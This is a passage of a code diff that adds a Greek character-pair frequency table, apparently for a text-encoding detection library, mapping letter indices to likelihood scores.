# 'ό' + 26: 2, # 'ύ' + 27: 0, # 'ώ' + }, + 47: { # 'Ι' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 1, # 'Β' + 43: 1, # 'Γ' + 41: 2, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 2, # 'Κ' + 53: 2, # 'Λ' + 38: 2, # 'Μ' + 49: 2, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 2, # 'Ρ' + 37: 2, # 'Σ' + 33: 2, # 'Τ' + 45: 0, # 'Υ' + 56: 2, # 'Φ' + 50: 0, # 'Χ' + 57: 2, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 2, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 1, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 2, # 'σ' + 2: 1, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 1, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 44: { # 'Κ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 1, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 1, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 2, # 'Ρ' + 37: 0, # 'Σ' + 33: 1, # 'Τ' + 45: 2, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 1, # 'Ω' + 17: 3, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 2, # 'ό' + 26: 2, # 'ύ' + 27: 2, # 'ώ' + }, + 53: { # 'Λ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 0, # 'Κ' + 53: 2, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 2, # 'Σ' + 33: 0, # 'Τ' + 45: 2, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 2, # 'Ω' + 17: 2, # 'ά' + 18: 2, # 'έ' + 22: 0, # 'ή' + 15: 2, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 1, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 2, # 'ό' + 26: 2, # 'ύ' + 27: 0, # 'ώ' + }, + 38: { # 'Μ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 2, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 2, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 2, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 2, # 'έ' + 22: 2, # 'ή' + 15: 2, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 2, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 3, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 2, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 49: { # 'Ν' + 60: 2, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 2, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 2, # 'Ω' + 17: 0, # 'ά' + 18: 2, # 'έ' + 22: 0, # 'ή' + 15: 2, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 1, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 1, # 'ω' + 19: 2, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 59: { # 'Ξ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 1, # 'Ε' + 40: 1, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 1, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 2, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 39: { # 'Ο' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 1, # 'Β' + 43: 2, # 'Γ' + 41: 2, # 'Δ' + 34: 2, # 'Ε' + 40: 1, # 'Η' + 52: 2, # 'Θ' + 47: 2, # 'Ι' + 44: 2, # 'Κ' + 53: 2, # 'Λ' + 38: 2, # 'Μ' + 49: 2, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 2, # 'Π' + 48: 2, # 'Ρ' + 37: 2, # 'Σ' + 33: 2, # 'Τ' + 45: 2, # 'Υ' + 56: 2, # 'Φ' + 50: 2, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 2, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 2, # 'κ' + 16: 2, # 'λ' + 10: 2, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 2, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 2, # 'τ' + 12: 2, # 'υ' + 28: 1, # 'φ' + 23: 1, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 2, # 'ύ' + 27: 0, # 'ώ' + }, + 35: { # 'Π' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 0, # 'Κ' + 53: 2, # 'Λ' + 38: 1, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 2, # 'Ρ' + 37: 0, # 'Σ' + 33: 1, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 1, # 'Χ' + 57: 2, # 'Ω' + 17: 2, # 'ά' + 18: 1, # 'έ' + 22: 1, # 'ή' + 15: 2, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 2, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 2, # 'χ' + 42: 0, # 'ψ' + 24: 2, # 'ω' + 19: 2, # 'ό' + 26: 0, # 'ύ' + 27: 3, # 'ώ' + }, + 48: { # 'Ρ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 1, # 'Γ' + 41: 1, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 2, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 2, # 'Ρ' + 37: 0, # 'Σ' + 33: 1, # 'Τ' + 45: 1, # 'Υ' + 56: 0, # 'Φ' + 50: 1, # 'Χ' + 57: 1, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 2, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 1, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 3, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 2, # 'ω' + 19: 0, # 'ό' + 26: 2, # 'ύ' + 27: 0, # 'ώ' + }, + 37: { # 'Σ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 1, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 2, # 'Κ' + 53: 0, # 'Λ' + 38: 2, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 2, # 'Σ' + 33: 2, # 'Τ' + 45: 2, # 'Υ' + 56: 0, # 'Φ' + 50: 2, # 'Χ' + 57: 2, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 2, # 'ή' + 15: 2, # 'ί' + 1: 2, # 'α' + 29: 2, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 2, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 2, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 0, # 'φ' + 23: 2, # 'χ' + 42: 0, # 'ψ' + 24: 2, # 'ω' + 19: 0, # 'ό' + 26: 2, # 'ύ' + 27: 2, # 'ώ' + }, + 33: { # 'Τ' + 60: 0, # 'e' + 55: 1, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 2, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 2, # 'Ρ' + 37: 0, # 'Σ' + 33: 1, # 'Τ' + 45: 1, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 2, # 'Ω' + 17: 2, # 'ά' + 18: 2, # 'έ' + 22: 0, # 'ή' + 15: 2, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 2, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 2, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 2, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 2, # 'ό' + 26: 2, # 'ύ' + 27: 3, # 'ώ' + }, + 45: { # 'Υ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 2, # 'Γ' + 41: 0, # 'Δ' + 34: 1, # 'Ε' + 40: 2, # 'Η' + 52: 2, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 1, # 'Λ' + 38: 2, # 'Μ' + 49: 2, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 2, # 'Π' + 48: 1, # 'Ρ' + 37: 2, # 'Σ' + 33: 2, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 1, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 3, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 56: { # 'Φ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 1, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 1, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 2, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 1, # 'ύ' + 27: 1, # 'ώ' + }, + 50: { # 'Χ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 1, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 1, # 'Ν' + 59: 0, # 'Ξ' + 39: 1, # 'Ο' + 35: 0, # 'Π' + 48: 2, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 1, # 'Χ' + 57: 1, # 'Ω' + 17: 2, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 2, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 2, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 57: { # 'Ω' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 1, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 1, # 'Λ' + 38: 0, # 'Μ' + 49: 2, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 2, # 'Ρ' + 37: 2, # 'Σ' + 33: 2, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 2, # 'ρ' + 14: 2, # 'ς' + 7: 2, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 1, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 17: { # 'ά' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 2, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 3, # 'β' + 20: 3, # 'γ' + 21: 3, # 'δ' + 3: 3, # 'ε' + 32: 3, # 'ζ' + 13: 0, # 'η' + 25: 3, # 'θ' + 5: 2, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 3, # 'ξ' + 4: 0, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 3, # 'φ' + 23: 3, # 'χ' + 42: 3, # 'ψ' + 24: 2, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 18: { # 'έ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 3, # 'α' + 29: 2, # 'β' + 20: 3, # 'γ' + 21: 2, # 'δ' + 3: 3, # 'ε' + 32: 2, # 'ζ' + 13: 0, # 'η' + 25: 3, # 'θ' + 5: 0, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 3, # 'ξ' + 4: 3, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 3, # 'φ' + 23: 3, # 'χ' + 42: 3, # 'ψ' + 24: 2, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 22: { # 'ή' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 1, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 3, # 'γ' + 21: 3, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 3, # 'θ' + 5: 0, # 'ι' + 11: 3, # 'κ' + 16: 2, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 2, # 'ξ' + 4: 0, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 2, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 15: { # 'ί' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, 